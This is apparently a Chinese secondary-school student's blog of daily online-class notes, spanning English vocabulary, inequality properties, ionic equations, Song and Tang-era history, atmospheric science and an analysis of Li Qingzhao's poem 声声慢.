prefer vt.(preferred; preferred; preferring)较喜欢；更喜欢

prefer to do sth.更喜欢做某事 prefer sb. to do sth.更喜欢某人做某事 prefer doing sth.更喜欢做某事 prefer..to ... 喜欢......多于........ prefer to do sth. rather than do sth.比起做某事更喜欢做某事

语境感悟： He offered to give me a lift, but I preferred to walk. I prefer walking alone after a day’s work. They preferred good news to bad. I prefer singing to acting. I prefer to go with them rather than stay at home. = Rather than stay at home, I prefer to go with them. = I would rather go with them than stay at home. = I would go with them rather than stay at home.

归纳拓展: 派生词: preference n.喜爱;偏爱;优待;优先 A teacher should not have a preference for any of his students. Now employers will give a preference to the students who have graduated from universities in Project 985 and 211. 现在雇主更优先考虑毕业于985和211的大学毕业生。 have a preference for更喜爱;偏爱 give a preference to优先考虑

content n.(u)满足，满意 (pl)所含之物，目录(sing.)(书、讲话、节目等的)主要内容，主题 adj. 满足的，满意的 vt. (使)满足

with content满意地; 满足地 be content with对..感到满意 be content to do sth.对做某事感到满意

语境感悟：

Looking at her grandson, the old man smiled with content. Fire has damaged the contents of the building. 译文：大火烧毁了那栋大楼里的东西。 She hadn’t read the letter and so was unaware of its content. 译文：她没有看过那封信，所以对其内容一无所知。 Don’t be content with such small success. He is content to remain where he is now.

归纳拓展： “对......满意”的其他表达： be satisfied with 、 be pleased/happy with

练一练：单句语法填空 (1)The professor was content with the result of the experiment. (2)Learning that his son was admitted to Peking University, the father nodded with content.

完成句子他得到了一份旅馆里的新工作并对它很满意。 He got a new job in a hotel and he was content with it.

challenge n. 挑战；艰巨任务 vt. 怀疑；向......挑战

face a/the challenge面临挑战 accept/take up a/the challenge接受挑战 meet a/the challenge迎接挑战 challenged sb. to (do) sth.向某人挑战(做)某事 challenge sth.怀疑某事

语境感悟： When you face a challenge, you must believe you can overcome it and never give up. 译文：你面临挑战的时候，必须坚信你会克服它，而且决不能放弃。 He was very confident and always ready to accept/take up any challenges. 译文：他很自信，总是随时准备好接受任何挑战。 Life is a challenge, and only those who are brave to meet the challenge truly know what it means. 译文：生命是一项挑战，只有那些勇于迎接挑战的人才能真正体会其意 Mary challenged me to (play) another game of tennis. 译文：玛丽向我挑战，要我跟她再打一场网球。 Nowadays no one will challenge the fact that the earth goes round the sun. 译文：现在，没有人会怀疑地球绕着太阳转这一事实。

归纳拓展：派生词: challenging adj.具有挑战性的 challenger n.挑战者

练一练：单句语法填空

(1)The present world is full of challenges (challenge) as well as opportunities. (2)I as the first challenger in my class, challenged Li Hua who was good at English, to learn 100 new words by heart within half an hour. It was really a challenging thing.(challenge) (3)Although the game was challenging(challenge), he challenged himself to it without hesitation(犹豫). (4)I quickly lower myself, ducking my head to avoid lookingdirectly into his eyes so he doesn't feel challenged(challenge).(2018全国卷II语法填空) . challenged adj.受到挑战的

confuse vt.使迷惑；使糊涂；混淆 confused adj.迷惑的；糊涂的 confusing adj. 令人困惑的，难以理解的，不清楚的 confusion n.困惑；困窘，尴尬

confuse A with/and B将A和B混淆 be confused about...对..感到迷惑 in confusion困惑地

语境感悟： Don’t confuse Austria with Australia. If you’re confused about anything, phone me.

They confused me by asking so many confusing questions. I was totally confused , standing there in confusion and not knowing what to do next.

练一练：单句语法填空 (1)We can conclude(推断) from his confused look that he is confused about this confusing problem.(confuse) (2)Be careful not to confuse “abroad” and/with“aboard”. The two words are very similar. (3)His answers to my questions only added to my confusion (confuse); that’s why you found me in confusion that day.

数学

不等式基本性质的应用

复习回顾：不等式的基本性质

对称性：$a>b \Leftrightarrow b<a$
传递性：$a>b, b>c \Rightarrow a>c$
可加性：$a>b \Leftrightarrow a+c>b+c$
同向可加性：$a>b,c>d \Rightarrow a+c>b+d$
可乘性：

$a>b,c>0\Rightarrow ac>bc ; a>b,c<0\Rightarrow ac<bc$

倒数法则：$a>b,ab>0\Rightarrow {1\over a}<{1\over b}$
同向同正可乘性：$a>b>0,c>d>0\Rightarrow ac>bd>0$
乘方性：$a>b>0\Rightarrow a^n>b^n(n\in N^*,n\geq 2)$

前提条件不能弱化充要条件还是充分不必要条件

用不等式的性质证明不等式

$$ 例1，已知a>b>0,c<d<0,e<0\ 求证{e\over {a-c} }>{e\over {b-d} } $$

答案：

练习 $$ 若bc-ad\geq0,bd>0,求证{ {a+b}\over b}\leq{ {c+d}\over d} $$ 答案：

利用不等式的性质求取值范围

$$ 例2，已知-{π\over 2}\leq\alpha<\beta,求{ {\alpha+\beta}\over 2},{ {\alpha-\beta}\over 2} $$

答案：

求取值范围的问题要注意解题方法是否符合不等式的性质，是否使范围扩大或缩小．

变式练习 $$ 已知1<a<2,3<b<4,求下列各式的取值范围\ (1)2a+b;(2)a-b;(3){a\over b} $$ 答案：

$$ 例3，已知-4\leq a-b \leq -1 ,-1 \leq 4a-b \leq 5\ 求(1)a,b的取值范围；(2)求9a-b的取值范围 $$ 答案：

谈谈你对利用不等式的基本性质求解代数式的取值范围的理解：

练习 $$ （多选题）已知实数x,y满足-1\leq x+y\leq 3,4\leq 2x-y\leq 9，则\ A、1\leq x \leq 4\ B、-2\leq y \leq 1\ C、2\leq 4x+y \leq 15\ D、{1\over 3}\leq x-y \leq {23\over 3} $$ 答案：

课堂小结

基本不等式

$\forall a,b\in R,a^2+b^2\geq 2ab,当且仅当a=b时等号成立$

如果a>0,b>0,我们用$\sqrt{a},\sqrt{b}$分别代表a,b，可得到什么结论？

替换后得到：$(\sqrt{a})^2 + (\sqrt{b})^2 \geq 2\sqrt{a} \cdot \sqrt{b}$ 即a+b$\geq 2\sqrt{ab}$ 即${ {a+b}\over 2}\geq \sqrt{ab}$(基本不等式)

(a>0,b>0,当且仅当a=b时取等)

基本不等式的证明（分析法）

证明不等式：${ {a+b}\over 2}\geq \sqrt{ab}$

证明：要证${ {a+b}\over 2}\geq \sqrt{ab}$

只要证a+b$\geq 2\sqrt{ab}$ 只要证a+b-$ 2\sqrt{ab} \geq 0$ 只要证$(\sqrt{a} - \sqrt{b})^2 \geq 0$

显然，上式是成立的，当且仅当a=b时取等。

探究：基本不等式的几何意义：

化学

及时小练——写出下列离子方程式

$（1）石灰水与过量碳酸氢钠溶液反应：2HCO_3^−+Ca^{2+}+2OH^−===CaCO_3↓+CO_3^{2−}+2H_2O$ $（2）硫酸氢钠溶液中加入氢氧化钡溶液至中性：2H^++SO_4^-＋Ba^{2+}+2OH^-===BaSO_4↓＋2H_2O$ $（3）Ca(HCO_3)_2溶液与少量NaOH溶液反应：HCO_3^-+Ca^{2+}+OH^-===CaCO_3↓＋H_2O$ $（4）向澄清石灰水中加入过量的NaHCO3溶液：2HCO_3^−+Ca^{2+}+2OH^−=== CaCO_3↓+CO_3^{2−}+2H_2O$ $（5）向Ba(OH)2溶液中加入少量NaHSO3溶液：HSO_3^-+Ba^{2+}+OH^-===BaSO_3↓+H_2O$

离子检验

1. 检验离子的方法

①生成沉淀；②生成气体；③显现特殊颜色。

2. 常见离子的检验

离子推断

离子推断的一般解题思路为：根据现象判断一定含有的离子→根据离子共存判断一定不含有的离子→可能含有的离子。

注意：（1）时刻注意操作过程中加的试剂所引入的离子，对后续实验是否产生影响；（2）有时可能用到电荷守恒，将定性和定量相结合，判断溶液中还可能含有的离子。（阳离子所带的正电荷总数等于阴离子所带的负电荷总数，若只有一种离子无法确认，可以利用电荷守恒来确定该离子是否存在以及其物质的量。）

历史

两宋的政治和军事

一、立祖宗之法

(一)守内:宋初加强中央集权

前代之弊:

军阀割据、政局动荡(外重内轻)
契丹威胁、边境危机
君弱臣强、武将势大

中央集权削弱

1、原因:

①北宋统一，结束五代十国以来分裂局面 ②借鉴唐后期藩镇军阀割据，政局动荡的历史教训:外重内轻，君弱臣强、武将势大 ③强化中央集权，巩固统治的需要

2、守内措施: ①加强对地方控制

政治**(夺其权)：文官任知州，节度使变虚衔财政(制钱谷)** ：设置转运使军事**(收精兵)** ：收精锐，入禁军，换驻地

特点? 守内虚外、强干弱枝

②分散机构权力

中央:分相权，增新位 I.军归枢密院，财归三司(盐铁、度支、户部) II.增设副相参知政事 II.统调分离:统归“三衙”，调归枢密院

地方:强监控，互制约 I.含转运使，设“四监司” II.州设通判，与知州互相制约

特点? 分化事权，强化集权，相互制衡

③抑制武将势力膨胀

①政策:重文抑武，文官掌兵 ②兴文治，扩科举，文官士人地位提高

特点? 重文轻武，文官政治

结合材料及所学知识，如何评价宋初加强中央集权的措施?

材料一吾宋制治，有县令，有郡守，有转运使，以大系小，丝牵绳联，总合于上。” ——苏洵《嘉佑集》卷一《审势》

材料二法令日繁，治具日密，禁防束缚至不可动，而人之看虑自不能出于绳约之内，故人材亦以不振。 ——叶适《水心别集》卷10《实谋》

材料三本朝鉴五代藩镇之弊……兵也收了，财也收了，赏罚刑政一切收了，州郡遂日就困弱。靖康之祸，虏骑所过，莫不溃散。 ——朱熹《朱子语类》

积极:有效预防动乱，巩固国家统一和安定，强化了中央集权。消极:①制度过于僵化，权力分割过细，影响行政效率，助长因循守旧的政治风气。 ②强玉弱枝，守内虚外，边防空虚

(二)守内虚外的军事危机

1.对辽:北伐收故土一议和求安定 两次北伐，均告惨败辽军南下，签订协议 兄弟相称，“岁币”相赠 影响:北部边境获得安定，缓解困境 2.对西夏:屡战屡败一达成议和 西夏称臣北宋，北宋赐予“岁赐” 影响:西北边境安定，缓解困境

特点? 以财求和、防御为主

(三)守内虚外的财政危机

军事:军队庞大，募兵制(职业兵)军队扩编，军费上升——冗兵，积弱
政治:机构重叠，官僚子弟入仕，官僚队伍膨胀——冗官养兵，养官，“岁币”岁赐”财政恶化——冗费，积贫

二、变祖宗之法——王安石变法

(一)原因:

政治:北宋政治因循保守，行政效率低下。**范仲淹“庆历新政”(核心: 整顿吏治)**积累经验。
经济:改变积贫积弱的困局。
指导思想:通过理财和整军达到富国强兵

(二)变法原则:加强国家对于各个领域的管理和控制 变法目的:国富兵强 (改变积贫的局面，调整封建国家、地主和农民关系，发展生产) (三)措施:

富国:政府向农民提供农业贷款(国债)，拨巨资从事商业经营 作用:调控经济，开辟财源
强兵:对农民编制管理和军事训练 作用:恢复“兵农合一”，提高军队战斗力，取代募兵制。

(四)性质: 在不触动封建土地私有制的前提下，对生产关系进行的局部调整，为维护封建统治进行的改革。

(五)作用: 积极: 1.达到了富国的目的，财政收入增加; 消极: 1.强兵效果不佳，与西夏开战失败; 2.措施有效，执行不佳，加重人民负担，引起统治集团内部分裂，未挽救北宋衰亡的命运。

三、承祖宗之法——南宋偏安

1.背景:靖康之变，北宋灭亡; 1127年赵构在应天称帝，定都临安，史称南宋 2.承祖宗之法: (1)初年:积极对抗，收复失地。如:岳飞 (2)1141年，绍兴合议，称臣“岁贡” (3)此后:几次战争，地位稍上， “世侄之国”，南北对峙，偏安一隅。

[课堂探究]

依据所学知识，概括两宋时期与唐朝在政治、军事等方面的新变化。

新变化: 政治: 1.加强中央对地方的控制: 制钱谷、削实权、收精兵 2.分散权力: 中央:分化事权，枢掌军三司掌财，分宰相权，加强皇权; 地方:四监司，知州通判互制约，加强中央集权; 3.抑制武将势力:重文轻武，文官政治; 军事:防御性 1.抑制武将，文官统兵，编制禁军; 2.统兵与调兵权分离，实行轮调制。

依据所学知识，结合教材P53，“问题探究” 材料，分析宋初加强中央集权的特点及利弊得失?

特点: 重文轻武、文人治国; 分割地方权力，高度集权于中央; 强干弱枝，守内虚外

利弊: 1.重文轻武、文人治国;虽改变了唐末五代武将跋扈、兵变政移的状态，但也因文官不懂军事而造成军队战斗力低下。 2.分割地方权力，高度集权于中央;虽有利于巩固统一，防止分裂，但导致地方办事效率低下，中央机构臃肿，人浮于事，形成冗官局面。 3.强干弱枝，守内虚外;虽有利于强化中央集权，有效地镇压地方叛乱和农民阶级的反抗，但造成边防空虛，成为北宋在边疆战事中屡败的原因

地理

复习

（1）大气的组成成分及其作用

（2）各层特征比较

大气圈与大气运动（第二课时）

大气的受热过程

太阳辐射是地球表层最主要的能量来源，地面的长波辐射是低层大气主要的热量来源。

大气的受热过程原理

1.太阳辐射:太阳辐射是地球上最主要的能量来源。

物体的温度越高，辐射中最强部分的波长越短

过程一：太阳暖大地

太阳辐射到达地面，地面吸收后增温

大气的削弱作用

1、吸收作用 $O_3吸收紫外线、CO_2、水汽吸收红外线$ 特点:具有选择性

2、反射作用云层、较大颗粒的尘埃特点:无选择性.

3、散射作用空气分子和微小尘埃特点:具有选择性。太阳辐射的可见光中，波长较短的蓝色光最容易被大气分子和细小尘埃所散射

过程二：大地暖大气

地面吸收太阳辐射增温，同时向外辐射能量，即地面辐射，大气吸收后增温

地面的直接热量来源:太阳辐射
近地面大气主要的、直接的热源:地面辐射
地球最主要的能量来源:太阳辐射

过程三：大气还大地

大气在增温同时，向外放出长波辐射，即大气辐射。其中朝向地面的部分，因辐射方向与地面辐射相反，称为大气逆辐射。它将大部分热量还给地面。

[现实意义] 白天，大气的吸收、反射、散射使到达地面的太阳辐射减少。

大气逆辐射把热量还给地面，在一定程度上补偿了地面热量的损失。对地面起到了保温作用。

对流层中的水汽、二氧化碳等,吸收长波辐射的能力很强,因此地面长波辐射绝大部分被大气吸收。
大气逆辐射把热量传给地面,在一定程度上补偿了地面辐射损失的热量，对地面起到了保温作用

“我欲乘风归去，又恐琼楼玉宇，高处不胜寒。”请问“高处不胜寒”是如何形成的?

提示: 1、地面是近地面大气的主要热量来源，越往高处接受到的地面辐射就越少。2、高处大气稀薄，导致保温作用差。

秋季多云的夜晚比晴朗的夜晚暖和?

多云的夜晚，大气逆辐射强,保温作用强;晴朗的夜晚，大气逆辐射弱，保温作用弱。所以多云的夜晚比晴朗的夜晚暖和。

探究大气受热过程的现实意义

1. 解释全球温室效应现象

由于人类燃烧化石燃料，如石油、煤炭等，或砍伐森林并将其焚烧时会产生大量的二氧化碳，即温室气体，这些温室气体对来自太阳辐射的可见光具有高度透过性，而对地球发射出来的长波辐射具有高度吸收性，能强烈吸收地面辐射，导致地球温度上升，即温室效应。由于温室效应不断积累，导致地气系统吸收与发射的能量不平衡，能量不断在地气系统累积，从而导致温度上升，造成全球气候变暖。

2.分析昼夜温差大小

主要从地势高低、天气状况、下垫面性质几方面分析

分析昼夜温差大小

3. 温室大棚

太阳的短波辐射能透过玻璃进入温室，而地面反射的长波辐射无法透过温室散出。因此温室内热量不易散失，从而为农作物生长提供适宜温度。

4. 葡萄园地面铺设鹅卵石

果园地面铺设砂石或鹅卵石，不但能防止地面土壤水分蒸发，还能增加昼夜温差，有利于水果糖分的积累

在晚秋和寒冬，为什么霜冻多出现在晴朗的夜晚?

**晴朗的夜晚，天空少云或无云，**大气逆辐射弱，地面辐射的热量散失多，所以晚秋或寒冬晴朗的夜晚地面气温很低，容易出现霜冻。

5.深秋燃烧秸秆防范霜冻

燃烧秸秆产生烟雾，增强了大气逆辐射，使地面温度升高，对地面具有保温作用。

知识框架图

<h1 style='font-size: 20px'>【今日网课结束】</h1>

学习笔记丨网课第十六天

Tue, 20 Sep 2022 00:00:00 GMT

开学第十六课

英语

【本节课为单元综合练习，详情请查看回放】

数学

等式性质与不等式性质(第1课时)

不等关系与不等式

我们用数学符号“≠”、“>”、“<”、“≥”、“≤”连接两个数或代数式，以表示它们之间的不等关系，含有这些符号的式子，叫做不等式。

用不等式(组)表示实际问题中不等关系的步骤：

①审题．通读题目，分清楚已知量和待求量，设出待求量．找出体现不等关系的关键词：“至少”“至多”“不少于”“不多于”“超过”“不超过”等． ②列不等式组：分析题意，找出已知量和待求量之间的约束条件，将各约束条件用不等式表示．

比较两个实数(或代数式)大小的步骤

(1)作差：对要比较大小的两个数(或式子)作差； (2)变形：对差进行变形(因式分解、通分、配方，有理化等)； (3)判断差的符号：结合变形的结果及题设条件判断差的符号； (4)作出结论．这种比较大小的方法通常称为作差比较法．其思维过程：作差→变形→判断符号→结论，其中变形是判断符号的前提．

课堂小结

不等式与不等关系 (1)不等式的定义所含的两个要点. ①不等符号>,<,≥,≤或≠. ②所表示的关系是不等关系. (2)不等式中的文字语言与符号语言之间的转换.
比较两个实数a、b大小的依据

等式性质与不等式性质(第2课时)

等式的基本性质

不等式的性质

(1)对称性

证明:∵a>b,∴a-b>0. 由正数的相反数是负数,得-(a-b)<0. 即b-a<0,∴b<a. 同理可证,如果b<a,那么a>b.

(2)传递性

你能证明这个性质吗？

(3)加法法则

证明:∵(a+c)-(b+c)=a-b>0, ∴a+c>b+c.

(4)乘法法则

证明:ac-bc=(a-b)c.∵a>b,∴a-b>0.根据同号相乘得正,异号相乘得负, 得当c>0时,(a-b)c>0,即ac>bc;当c<0时,(a-b)c<0,即ac<bc.

(5)同向可加性

(6)同向同正可乘性

证明:∵a>b>0,c>0, ∴ac>bc. ∵c>d>0,b>0, ∴bc>bd. ∴ac>bd.

(7)正值不等式可乘方

性质(7)可看作性质(6)的推广: 当n是正奇数时,由a>b可得$a_n>b_n$.

反思总结

反思利用不等式性质判断不等式是否成立的方法: (1)运用不等式的性质判断.要注意不等式成立的条件,不要弱化条件,尤其是不能凭想象捏造性质. (2)特殊值法.取特殊值时,要遵循如下原则:一是满足题设条件;二是取值要简单,便于验证计算.

归纳总结

利用不等式的性质证明不等式注意事项 (1)利用不等式的性质及其推论可以证明一些不等式.解决此类问题一定要在理解的基础上，记准、记熟不等式的性质并注意在解题中灵活准确地加以应用. (2)应用不等式的性质进行推导时，应注意紧扣不等式的性质成立的条件，且不可省略条件或跳步推导，更不能随意构造性质与法则.

课堂小结

化学

习题讲解

【略】

离子反应拓展

一、离子反应中的“顺序”问题

若反应体系中有两种或两种以上的离子，都能与另一种离子发生反应，此时需要考虑反应的先后顺序问题。

二、离子反应中的“少量/过量”问题

“少量/过量”问题的两种情况概述：（1）若反应体系中有两种或两种以上的离子，都能与另一种离子发生反应，此时除了需要考虑反应的先后顺序外，还要考虑离子是过量还是少量，即“反应物是什么，比例是多少”的问题。（2）若反应的生成物能够和反应物继续反应，需要考虑离子是过量还是少量，即“产物是什么，比例是多少”的问题。
“少量/过量”问题的解题思路——定少为1 （1）将少量的物质定为“1 mol”，再确定过量物质中实际参加反应的离子的物质的量。（2）若少量的物质中有两种或两种以上离子参加反应，则反应离子的物质的量之比等于物质组成之比。
具体实例分析

（1）碱性溶液中通入酸性气体$CO_2/SO_2$

一般情况下，少量$CO_2/SO_2$生成$CO_3^{2-}/SO_3^{2-}$，过量$CO_2/SO_2$生成$HCO_3^-/HSO_3^-$，过量之所以生成$HCO_3^-/HSO_3^-$是由于发生了过渡作用 $$ CO_3^{2-}+H_2O+CO_2==2HCO_3^-\qquad SO_3^{2-}+H_2O+SO_2==2HSO_3^- $$

（2）多元弱酸的正盐与酸的反应

（3）酸式盐与H+ / OH- 的反应

历史

三国至隋唐的文化

一.儒学、道教与佛教的发展

特点：思想活跃、多元共生、儒学正统地位受到挑战

儒学始终是封建社会的正统思想

问题1：佛教、道教为什么会盛行？

（1）魏晋时期政权更迭，社会动荡，人们缺乏精神寄托。（2）佛教和道教注重解决人生的现实问题，关注人的精神需求。（3）儒学自我伦理体系缺陷不完备，不能适应社会现实需要。（4）统治者借助宗教巩固自身统治

社会存在决定社会意识

问题2：儒、佛、道三者相互影响有哪些表现？

佛教：以儒家传统价值观念解释佛教思想与戒律，渐趋本土化

魏晋玄学：用老庄的思想解释儒家经典，主张政治上“无为”、生活上任其“自然”，社会风气上“清谈”

三教并行→三教合一→儒学复兴运动

问题3：佛教、道教的盛行带来了怎样的社会问题？

（1）广修寺庙，耗费钱财；（2）争夺劳动力，影响小农经济的发展，严重威胁政府利益；（3）出世态度有悖于儒家伦理纲常

根本问题：威胁到了封建统治

应对：反佛灭佛运动

佛教文化遭受损失，但佛教的发展并未从根本上受到遏制。

统治者灭佛、民间反佛

二.文学艺术

1、文学

（1）魏晋南北朝

以曹操父子为代表 人生哀伤与建功立业的气概交织融合 注重韵律与对仗

以陶渊明为代表 逃避现实，探寻个体的理想人格 语言质朴，风格豪迈

（2）唐朝

思考：请利用“以诗证史”的研究方法，说明唐代历史的变迁。

浪漫主义风格，开朗奔放，反映盛唐国力强盛、文化开放的景象。

沉郁顿挫的现实主义风格，讽喻诗渐多，反映了天宝年间社会的弊端。

凝重沉郁的风凝重沉郁的风唐盛世不再。

问题:不同时期的唐诗风格为何差异如此之大？

文学作品的史料价值：反映了诗人的个人际遇（主观认识）折射了当时的社会风貌和时代变迁（社会存在决定社会意识）

2、书法

（1）书法在东汉末年成为一种艺术；（2）魏晋南北朝时期，隶书、草书、行书和楷书等各种书体均已完备；

从实用转为审美、从自发走向自觉

（3）隋唐时期融汇、创新：颜真卿气势雄浑的颜体和柳公权骨力遒劲的柳体。

3、绘画

（1）东晋：出现专职画家；顾恺之“以形写神”，《女史箴图》《洛神赋图》。（2）隋唐：绘画题材广泛，风格多样；吴道子，“画圣”。

4、石窟

因佛教广泛传播而修造

中西荟萃、民族交融

思考：这一时期取得的文学艺术成就有哪些特点？

领域众多、风格多样、融合创新、成就突出

三.科技

特点：领域广泛；实用性强；世界领先

四.中外文化交流

1、佛教交流

(1)传入:高僧来华和中国僧人西行取经 (2)外传:鉴真东渡和日本、新罗僧人来华

2、其他方面

（1）唐都城长安成为国际大都会。（2）新罗、日本向唐朝派遣使节和留学生。（3）西亚商人在广州、泉州等港口城市定居。

东亚文化圈

许多国家和地区的使节、商人、侨民齐聚，成为国际性大都市

周边各国以中华文明为榜样，向隋唐派遣使者和留学生，积极学习并吸收中华文明的成果。中华典章制度、思想文学、生活方式和文化的观念形态深刻渗入日本、朝鲜和越南，最终以中华文明为基础、以汉字为表征形成了东亚文化圈。

问题：隋唐时期中外文化交流的特点？

1、交流范围广泛、国家众多。 2、交流领域全面、政经文教。 3、交往渠道众多、贸易佛教。 4、交流的双向性、兼收并蓄。 5、交流过程中东亚文化圈形成。

问题探究

1.如何理解三国至隋唐文化发展的整体性特质？

（1）魏晋南北朝文化打破两汉文化独尊的文化模式，多元发展，不断创立文化新观念、开辟文化新领域；（2）隋唐文化在继承前代文化的基础上，吸收外来文化，将中华文化发展到新的高峰。

2、三国至隋唐时期中国文化繁荣领先的原因是什么？

（1）经济：经济的发展与繁荣，为文艺成就达到高峰提供物质基础。 （2）政治：选官制度的发展与官僚政治的成熟，为文艺成就达到高峰提供人才基础。 （3）社会：安定的社会环境，为文艺成就达到高峰提供了社会条件。 （4）文化：民族交融及开放包容的对外政策，为文艺成就达到高峰提供了文化基因。 （5）交通：对外交通发达

课堂小结

地理

大气圈与大气运动

一、大气圈的组成与结构

1. 大气圈的组成

概念:由于地球引力作用，使地球表面包围着一层大气，称为大气圈。

大气圈是由多种气体混合而成的，其中低层大气的组成除干洁空气外，还包括少量的水汽和固体杂质
氮和氧是大气的主要成分，两者约占干洁空气的99%，故地球大气也被称为**“氮氧大气”**

氮是大气中含量最多的成分，是地球生物体内蛋白质的重要组成部分。氧是大气中含量次多的成分，是人类和动物维持生命活动必需的物质。二氧化碳在大气中的含量很少，却起着非常重要的作用，是绿色植物进行光合作用的原料，也是调节地表温度的重要气体。水汽是大气的重要成分之一。水汽是成云致雨的必要条件,大气中一定含量的水汽还可以提高人类生活的舒适度。大气中的尘埃，可以反射太阳辐射,降低地面温度;可作为凝结核，促进云雨的形成。但是，尘埃也会影响人的呼吸系统，给人体健康带来一定的损害。

氮是地球生物体内蛋白质的重要组成部分。

水汽是大气的重要成分之一，成云致雨的必要条件。大气中一定含量的水汽还可以提高人类生活的舒适度。
尘埃反射太阳辐射，降低地面温度;作为凝结核，促进云雨的形成。但尘埃也会影响人的呼吸系统，给人体健康带来一定的损害。

降水的形成条件：饱和的水汽+凝结核+温度降低

小结1:大气的组成成分及其作用

2. 大气圈的分层

根据大气圈在垂直方向上的温度、密度及运动状况的差异，大气层可以分为对流层、平流层和高层大气

对流层

厚度变化 对流层因纬度和季节而发生变化，低纬度地区因热量充足、对流旺盛，其对流层厚度大于高纬度地区，夏季大于冬季。对流层厚度一般约为8-16km，平均12km左右

气温垂直变化随高度增加而降低，空气对流运动显著

对流层是贴近地面的大气最底层，它约占整个大气质量的3/4，集中了几乎全部的水汽和固体杂质。风、云、雨、雾、雪等天气现象都在这一层发生，因此对流层与人类生活、生产的关系最为密切。

温度会随高度的增加而降低，这是因为对流层主要是从地面获得热量，因此越靠近地面，接受的热辐射就越多，温度也就越高，在对流层中，大概高度每上升100m，气温就下降约0.6℃，这被称为气温垂直递减率。

拓展:逆温及其影响

(1)逆温现象:在一定条件下，对流层的某一高度有时会出现气温随高度增加而升高的现象，称为“逆温”。

发生逆温现象的大气层被称为逆温层

正常情况下，对流层温度随高度的增加而递减。秋冬季晴朗夜晚，没有太阳短波辐射供给能量，同时地面因长波辐射而损失热量，使得近地气层快速冷却，形成地面比起高空，温度更低的上暖下冷的逆温现象。这种现象称为辐射逆温。

日出后，太阳辐射使地面升温逆温的层结就会逐渐消失，垂直对流开始加强，辐射雾也会消失，辐射雾多发生在夜最长，气温最低的冬季或比较寒冷的冬半年。

(2)逆温对地理环境的影响

随着高度的增加，气温升高，出现逆温，大气对流运动受阻

平流层

气温垂直变化随高度升高而外高，空气以水平运动为主

平流层位于对流层之上，其顶部距离地面大约50km。厚度约为40km，平流层大气中的臭氧，能够吸收紫外线而升温

理想空城 平流层中的水汽、悬浮固体颗粒、杂质等极少，能见度高，气流稳定，并且很少有飞鸟出现。是航空的理想空域。

臭氧层

平流层中20-40km的高度臭氧含量较高，称为臭氧层。臭氧层能够吸收对人类和动植物有伤害的紫外线，故被誉为**“地球生命的保护伞”**。

我们如何保护臭氧层?

在日常生活中，我们可以做到:

购买带有“无氯氟化碳”标志的产品;
选择不含哈龙的灭火器;
选择具有制冷剂回收设施的汽车维修点;
选择配备制冷剂回收设备的企业处理废旧冰箱、空调等电器等

高层大气

气温垂直变化随高度增加先降低后升高

在80-500km的高空有若干电离层。空气处于高度电离状态，能反射无线电短波，对无线电通信有重要作用。

电离层 电离层好象一面反射无线电短波的镜子，使无线电短波在地面和电离层之间，能够多次反射而传播到很远的地方。

绘制简图

拓展:高山反应

知识小结

<h1 style="font-size:20px">【今日网课结束】</h1>

学习笔记丨网课第十五天

Mon, 19 Sep 2022 00:00:00 GMT

开学第十五课

语文

声声慢

诗人简介

李清照，字漱玉，号易安居士,山东济南人，宋代婉约派词人的代表之一。留有作品集《漱玉词》。，李清照(1084-约1155)宋代著名婉约派女词人，被誉为“婉约正宗”。。词自成一家，被称为“易安体"

两世之交最伟大的词作家，中国文学史上最伟大的女词人，在女作家中可谓空前绝后，不徒俯视巾帼，直欲压倒须眉。

她是临水照花的乱世美神；她是忧时伤世的赤子精魂；她是登峰造极的沧海愁人；她是旷古绝今的词坛奇女。

李清照现存词近50首，其词以南渡为界分为前后两个时期。 南渡前:描写少女、少妇时期的生活闺情、离愁一一清丽婉转。 南渡后:表现思夫、思国、思乡，浓愁、哀愁--沉郁凄凉。其词感情色彩浓烈，善于运用铺叙、白描和移情于物等多种表现手法写细腻的感情变化。语言清新朴素，雅俗共赏

词语解释

乍暖还寒时候忽暖忽寒，气候变化无常最难将息调养、保养、养息、休息怎敌它晚来风急对付、抵挡憔悴损很、极如今有谁堪摘可以、能够独自怎生得黑怎么，怎样

品析诗歌

感情基调 哀婉、凄凉、愁苦

体会“愁”情

找出词中直接抒发“愁情”的句子。寻寻觅觅，冷冷清清，凄凄惨惨戚戚。

动作:若有所失寻觅无果。 环境:处境冷清，心境清冷。 心理:沉痛凄厉。

叠词作用 直接抒情，极有层次地表达了词人在遭受重创巨痛后的愁苦的心情,为全词渲染了一种的悲凉的氛围，奠定了哀婉、凄凉、愁苦的感情基调。 增强词的音韵效果，富有节奏感和韵律感。

品味“愁”景

思考：能否在空白处填入适合的意象，并试着说明理由。

淡酒、过雁、黄花、梧桐、晚风、细雨

三杯两盏淡酒，怎敌他晚来风急。

为何说是“淡酒”？

并非酒淡，愁情太重，酒力压不住心愁，自然也就觉得酒味淡，这是一种主观感受。一个“淡”字表明了作者晚年是何等凄凉惨淡

怎敌他晚来风急。

风急天高猿啸哀，渚清沙百鸟飞回。万里悲秋常作客，百年多病独登台。——杜甫

秋风秋雨愁煞人。——秋瑾

结论：秋风渲染愁情

雁过也，正伤心，却是旧时相识。

无可奈何花落去，似曾相识雁归来。——晏殊《浣溪沙》云中谁寄锦书来？雁字回时，月满西楼。——李清照《一剪梅》

结论：象征悼亡之悲、怀乡之思。

满地黄花堆积。憔悴损，如今有谁堪摘。

莫道不消魂，帘卷西风，人比黄花瘦。——李清照《醉花阴》

结论：枯萎凋零的菊花比喻女子憔悴的容颜、孤苦飘零的晚境。

梧桐更兼细雨，到黄昏点点滴滴。

寂寞梧桐，深院锁清秋。——李　煜《相见欢》梧桐树，三更雨，不道离情正苦；一叶叶，一声声，空阶滴到天明。——温庭筠《更漏子》

结论：梧桐一叶知秋，牵愁惹恨。

清明时节雨纷纷，路上行人欲断魂。——杜牧《清明》夜阑卧听风吹雨，铁马冰河入梦来。——陆游《十一月四日风雨大作》

结论：雨是哀伤﹑愁丝的象征

酒：“愁”的象征风：秋风渲染愁情雁：过雁象征离愁梧桐：牵愁惹恨雨：哀伤、愁思的象

全词通过淡酒、秋风、过雁、黄花、梧桐、细雨等意象营造了冷清凄美的意境，传递出孤寂愁苦的心境。

李清照的其他作品

如梦令·常记溪亭日暮常记溪亭日暮，沉醉不知归路。兴尽晚回舟，误入藕花深处。争渡，争渡，惊起一滩鸥鹭。

减字木兰花卖花担上。买得一枝春欲放。泪染轻匀。犹带彤霞晓露痕。怕郎猜道。奴面不如花面好。云鬓斜簪。徒要教郎比并看。

一剪梅红藕香残玉簟秋。轻解罗裳，独上兰舟。云中谁寄锦书来？雁字回时，月满西楼。花自飘零水自流。一种相思，两处闲愁。此情无计可消除，才下眉头，却上心头。

分析“愁”因

情愁家愁国愁这次第，怎一个愁字了得

